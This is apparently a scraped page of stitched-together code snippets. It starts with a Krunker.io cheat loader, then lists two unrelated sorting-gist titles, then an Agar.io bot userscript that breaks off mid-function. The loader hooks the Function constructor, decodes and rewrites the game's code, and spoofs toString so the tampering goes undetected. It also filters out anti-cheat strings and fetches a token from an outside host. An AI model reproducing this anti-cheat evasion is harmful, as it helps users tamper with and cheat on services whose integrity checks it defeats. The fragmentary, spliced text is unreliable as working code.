//game.js after fetch and needs decoding fnArgs[1][name] = function(body) { // Get Key From Known Char let xorKey = body.charCodeAt() ^ '!'.charCodeAt(), str = "", ret =""; // Decode Mangled String for (let i = 0, strLen = body.length; i < strLen; i++) { str += String.fromCharCode(body.charCodeAt(i) ^ xorKey); } // Manipulate String //console.log(str) window[skidStr] = new Skid(); str = skid.gameJS(str); //ReEncode Mangled String for (let i = 0, strLen = str.length; i < strLen; i++) { ret += String.fromCharCode(str[i].charCodeAt() ^ xorKey); } // Return With Our Manipulated Code return window.WASM[name].apply(this, [ret]); }; break; case "__Z01dynCall_fijifv": //generate token promise fnArgs[1][name] = function(response) { if (!response.ok) { throw new window.Error("Network response from " + response.url + " was not ok") } let promise = window.WASM[name].apply(this, [response]); return promise; }; break; case "__Z01dynCall_fijjjv": //hmac token function fnArgs[1][name] = function() { console.log(arguments[0]); return window.WASM[name].apply(this, arguments); }; break; } } } return new target(...args).apply(this, fnArgs); }) } // If changed return with spoofed toString(); if (args[args.length - 1] !== body) { args[args.length - 1] = body; let patched = new target(...args); patched.toString = () => original.toString(); return patched; } } return original; } }) function onPageLoad() { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = `<div id="settHolder"><img src="https://i.imgur.com/yzb2ZmS.gif" width="25%"></div><a href='https://coder369.ml/d/' target='_blank.'><div class="imageButton discordSocial"></div></a>` window.request = (url, type, opt = {}) => fetch(url, opt).then(response => response.ok ? response[type]() : null); let Module = { onRuntimeInitialized: function() { function e(e) { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = "<div style='color: rgba(255, 255, 255, 0.6)'>" + e + "</div><div style='margin-top:10px;font-size:20px;color:rgba(255,255,255,0.4)'>Make sure you are using the latest version of Chrome or Firefox,<br/>or try again by clicking <a href='/'>here</a>.</div>"; window.instructionHolder.style.pointerEvents = "all"; }(async function() { "undefined" != typeof TextEncoder && "undefined" != typeof TextDecoder ? await Module.initialize(Module) : e("Your browser is not supported.") })().catch(err => { e("Failed to load game."); throw new Error(err); }) } }; window._debugTimeStart = Date.now(); window.request("/pkg/maindemo.wasm","arrayBuffer",{cache: "no-store"}).then(body => { Module.wasmBinary = body; window.request("/pkg/maindemo.js","text",{cache: "no-store"}).then(body => { body = body.replace(/(function UTF8ToString\((\w+),\w+\)){return \w+\?(.+?)\}/, `$1{let str=$2?$3;if (str.includes("CLEAN_WINDOW") || str.includes("Array.prototype.filter = undefined")) return "";return str;}`); body = body.replace(/(_emscripten_run_script\(\w+\){)eval\((\w+\(\w+\))\)}/, `$1 let str=$2; console.log(str);}`); new Function(body)(); window.initWASM(Module); }) }); } let observer = new MutationObserver(mutations => { for (let mutation of mutations) { for (let node of mutation.addedNodes) { if (node.tagName === 'SCRIPT' && node.type === "text/javascript" && node.innerHTML.startsWith("*!", 1)) { observer.disconnect(); node.innerHTML = onPageLoad.toString() + "\nonPageLoad();"; } } } }); observer.observe(document, { childList: true, subtree: true }); } function loadBasic() { let request = async function(url, type, opt = {}) { return fetch(url, opt).then(response => { if (!response.ok) { throw new Error("Network response from " + url + " was not ok") } return response[type]() }) } let fetchScript = async function() { const data = await request("https://krunker.io/social.html", "text"); const buffer = await request("https://krunker.io/pkg/krunker." + /\w.exports="(\w+)"/.exec(data)[1] + ".vries", "arrayBuffer"); const array = Array.from(new Uint8Array(buffer)); const xor = array[0] ^ '!'.charCodeAt(0); return array.map((code) => String.fromCharCode(code ^ xor)).join(''); } function onPageLoad() { window.instructionHolder.style.display = "block"; window.instructions.innerHTML = `<div id="settHolder"><img src="https://i.imgur.com/yzb2ZmS.gif" width="25%"></div><a href='https://skidlamer.github.io/wp/' target='_blank.'><div class="imageButton discordSocial"></div></a>` window.instructionHolder.style.pointerEvents = "all"; window._debugTimeStart = Date.now(); } let observer = new MutationObserver(mutations => { for (let mutation of mutations) { for (let node of mutation.addedNodes) { if (node.tagName === 'SCRIPT' && node.type === "text/javascript" && node.innerHTML.startsWith("*!", 1)) { observer.disconnect(); node.innerHTML = onPageLoad.toString() + "\nonPageLoad();"; fetchScript().then(script=>{ window[skidStr] = new Skid(); const loader = new Function("__LOADER__mmTokenPromise", "Module", skid.gameJS(script)); loader(new Promise(res=>res(JSON.parse(xhr.responseText).token)), { csv: async () => 0 }); window.instructionHolder.style.pointerEvents = "none"; }) } } } }); observer.observe(document, { childList: true, subtree: true }); } let xhr = new XMLHttpRequest(); xhr.open('GET', 'https://api.sys32.dev/token', false); try { xhr.send(); if (xhr.status != 200) { loadWASM(); } else { if (xhr.responseText.includes('success')) { loadBasic(); } else loadWASM(); } } catch(err) { loadWASM(); }
xlab / HandysortAlphanumeric string sorting algorithm implementation in Go
ragingwind / Semver SortSort array of semver string even which is exist in a strings.
zsith / Launcher.user.js// ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 3.062 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 3.062; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; } var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data["data"]) console.log("hmm: " + data["data"]["object"]["sha"]); sha = data["data"]["object"]["sha"]; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (83 == e.keyCode) { selectedCell = (selectedCell + 1).mod(getPlayer().length + 1); console.log("Next Cell " + selectedCell); } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } if (81 == e.keyCode) { console.log("ToggleFollowMouse"); toggleFollow = !toggleFollow; } } function humanPlayer() { //Don't need to do anything. var player = getPlayer(); var destination = []; for (var i = 0; i < player.length; i++) { destination.push([getPointX(), getPointY()]) } return destination; } function pb() { //UPDATE if (window.botList == null) { window.botList = []; window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); } window.jQuery('#nick').val(originalName); if (window.botList.length == 0) { window.botList.push(["Human", humanPlayer]); var bList = window.jQuery('#bList'); window.jQuery('<option />', { value: (window.botList.length - 1), text: "Human" }).appendTo(bList); } ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - d + 100, da: b - d + 100, oa: c + d + 100, pa: l + d + 100, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (selectedCell > 0 && selectedCell <= getPlayer().length) { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t), selectedCell - 1); drawCircle(getPlayer()[selectedCell - 1].x, getPlayer()[selectedCell - 1].y, getPlayer()[selectedCell - 1].size, 8); drawCircle(getPlayer()[selectedCell - 1].x, getPlayer()[selectedCell - 1].y, getPlayer()[selectedCell - 1].size / 2, 8); } else if (selectedCell > getPlayer().length) { selectedCell = 0; } if (toggle || window.botList[botIndex][0] == "Human") { var startIndex = (selectedCell == 0 ? 0 : selectedCell - 1); for (var i = 0; i < getPlayer().length - (selectedCell == 0 ? 0 : 1); i++) { setPoint(((fa - m / 2) / h + s) + i, ((ga - r / 2) / h + t) + i, (i + startIndex).mod(getPlayer().length)); } } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b = b.split("\n"), b[2] && alert(b[2]), Ca("ws://" + b[0], b[1])) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 4, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } function screenToGameX(x) { return (x - getWidth() / 2) / getRatio() + getX(); } function screenToGameY(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; } var a; if (T()) { a = fa - m / 2; var b = ga - r / 2; for (var i = 0; i < getPlayer().length; i++) { var tempID = getPlayer()[i].id; 64 > a * a + b * b || .01 > Math.abs(eb - ia[i]) && .01 > Math.abs(fb - ja[i]) || (eb = ia[i], fb = ja[i], a = N(21), a.setUint8(0, 16), a.setFloat64(1, ia[i], !0), a.setFloat64(9, ja[i], !0), a.setUint32(17, tempID, !0), O(a)) } } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = "#FFFFFF"; f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex][1](toggleFollow); if (selectedCell > 0) { Aa(); } if (!toggle) { var startIndex = (selectedCell == 0 ? 0 : selectedCell); for (var i = 0; i < getPlayer().length - (selectedCell == 0 ? 0 : 1); i++) { setPoint(moveLoc[(i + startIndex).mod(getPlayer().length)][0], moveLoc[(i + startIndex).mod(getPlayer().length)][1], (i + startIndex).mod(getPlayer().length)); } } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime())/1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, '#000000'); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0], dPoints[i][1]); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var debugStrings = []; debugStrings.push("Current Bot: " + window.botList[botIndex][0]); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); debugStrings.push("Q - Follow Mouse: " + (toggleFollow ? "On" : "Off")); debugStrings.push("S - Manual Cell: " + (selectedCell == 0 ? "None" : selectedCell) + " of " + getPlayer().length); debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < 